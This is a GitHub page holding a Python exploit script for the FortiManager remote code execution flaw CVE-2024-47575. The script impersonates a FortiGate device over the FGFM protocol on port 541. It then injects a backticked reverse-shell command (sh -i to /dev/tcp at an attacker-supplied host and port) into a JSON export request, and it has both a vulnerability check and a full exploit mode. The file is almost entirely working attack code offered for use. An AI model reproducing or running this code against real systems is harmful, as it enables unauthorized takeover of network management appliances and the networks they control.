-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2024-47575.py
186 lines (139 loc) · 4.51 KB
/
CVE-2024-47575.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
import socket
import struct
import ssl
import argparse
import random
from time import sleep
banner = """
____ _ _ _ _ _
/ ___|| | ___ _ / \ | | (_) __ _ _ __ ___ ___
\___ \| |/ / | | | / _ \ | | | |/ _` | '_ \ / __/ _ \
___) | <| |_| | / ___ \| | | | (_| | | | | (_| __/
|____/|_|\_\\__, | /_/ \_\_|_|_|\__,_|_| |_|\___\___|
|___/
CVE-2024-47575
(*) FortiManager Unauthenticated Remote Code Execution (CVE-2024-47575) exploit Sky Alliance
CVEs: [CVE-2024-47575]
"""
print(banner)
parser = argparse.ArgumentParser(description='FortiManager CVE-2024-47575 exploit')
parser.add_argument('--target', type=str, help='Target IP', required=True)
parser.add_argument('--lhost', type=str, help='attacker IP', required=False, default='empty')
parser.add_argument('--lport', type=str, help='attacker PORT', required=False, default='empty')
parser.add_argument('--action', type=str, choices=['check', 'exploit'], help='Choose an action: "check" or "exploit"', required=True)
args = parser.parse_args()
if(args.action == "exploit"):
if(args.lhost == 'empty' or args.lport == 'empty'):
print("[ERROR] you got an error, because you chose the 'exploit' mode but didnt provide the '--lhost and --lport'")
exit(1)
request_getip = b"""get ip
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-VM64
fos_ver=700
minor=2
patch=2
build=1255
branch=1255
maxvdom=2
fg_ip=192.168.1.53
hostname=FGVMEVWG8YMT3R63
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30235
mgmt_mode=normal
enc_flags=0
first_fmgid=
probe_mode=yes
vdom=root
intf=port1
\0""".replace(b"\n",b"\r\n")
request_auth=b"""get auth
serialno=FGVMEVWG8YMT3R63
mgmtid=00000000-0000-0000-0000-000000000000
platform=FortiGate-60E
fos_ver=700
minor=2
patch=4
build=1396
branch=1396
maxvdom=2
fg_ip=192.168.1.53
hostname=FortiGate
harddisk=yes
biover=04000002
harddisk_size=30720
logdisk_size=30107
mgmt_mode=normal
enc_flags=0
mgmtip=192.168.1.53
mgmtport=443
\0""".replace(b"\n",b"\r\n")
request_file_exchange = b"""get file_exchange
localid=REPLACE_LOCAL_ID
chan_window_sz=32768
deflate=gzip
file_exch_cmd=put_json_cmd
\0""".replace(b"\n", b"\r\n").replace(b"REPLACE_LOCAL_ID", str(random.randint(100,999)).encode())
json_payload = b"""{
"method": "exec",
"id": 1,
"params": [
{
"url": "um/som/export",
"data": {
"file":"`sh -i >& /dev/tcp/REPLACE_LHOST/REPLACE_LPORT 0>&1`"
}
}
]
}""".replace(b"REPLACE_LHOST", args.lhost.encode()).replace(b"REPLACE_LPORT", args.lport.encode())
request_channel_open = b"""channel
remoteid=REPLACE_REMOTE_ID
\0""".replace(b"\n", b"\r\n")
request_channel_open += str(len(json_payload)).encode()
request_channel_open += b"\n"
request_channel_open += json_payload
request_channel_open += b"0\n"
request_channel_close = b"""channel
action=close
remoteid=REPLACE_REMOTE_ID
\0""".replace(b"\n", b"\r\n")
def sendmsg(socket, request, recv=True):
message=struct.pack(">II", 0x36e01100, len(request)+8)+request
socket.send(message)
if(not recv):
return
hdr=socket.read(8)
if len(hdr)!=8:
return hdr
magic, size=struct.unpack(">II", socket.read(8))
return socket.read(size)
def create_ssl_sock():
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.load_cert_chain(certfile="w00t_cert.bin", keyfile="w00t_key.bin") # Load the certificate and key
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
s = socket.create_connection(host, 30)
ssl_sock = context.wrap_socket(s)
return ssl_sock
def print_n_sleep(msg, s=0.4):
print(msg)
sleep(s)
host = (args.target, 541)
ssl_sock = create_ssl_sock()
response= sendmsg(ssl_sock, request_getip)
response= sendmsg(ssl_sock, request_auth)
response = sendmsg(ssl_sock, request_file_exchange)
remote_id = response.decode().split('\r\n')[1].split('=')[1].strip()
if(remote_id !=None):
print(f"[VULN] Target is Vulnerable")
else:
print(f"[SAFE] Target is Safe")
exit(1)
if(args.action == "check"):
exit(1)
request_channel_open = request_channel_open.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
response = sendmsg(ssl_sock, request_channel_open, False)
request_channel_close = request_channel_close.replace(b"REPLACE_REMOTE_ID", remote_id.encode())
response = sendmsg(ssl_sock, request_channel_close, True)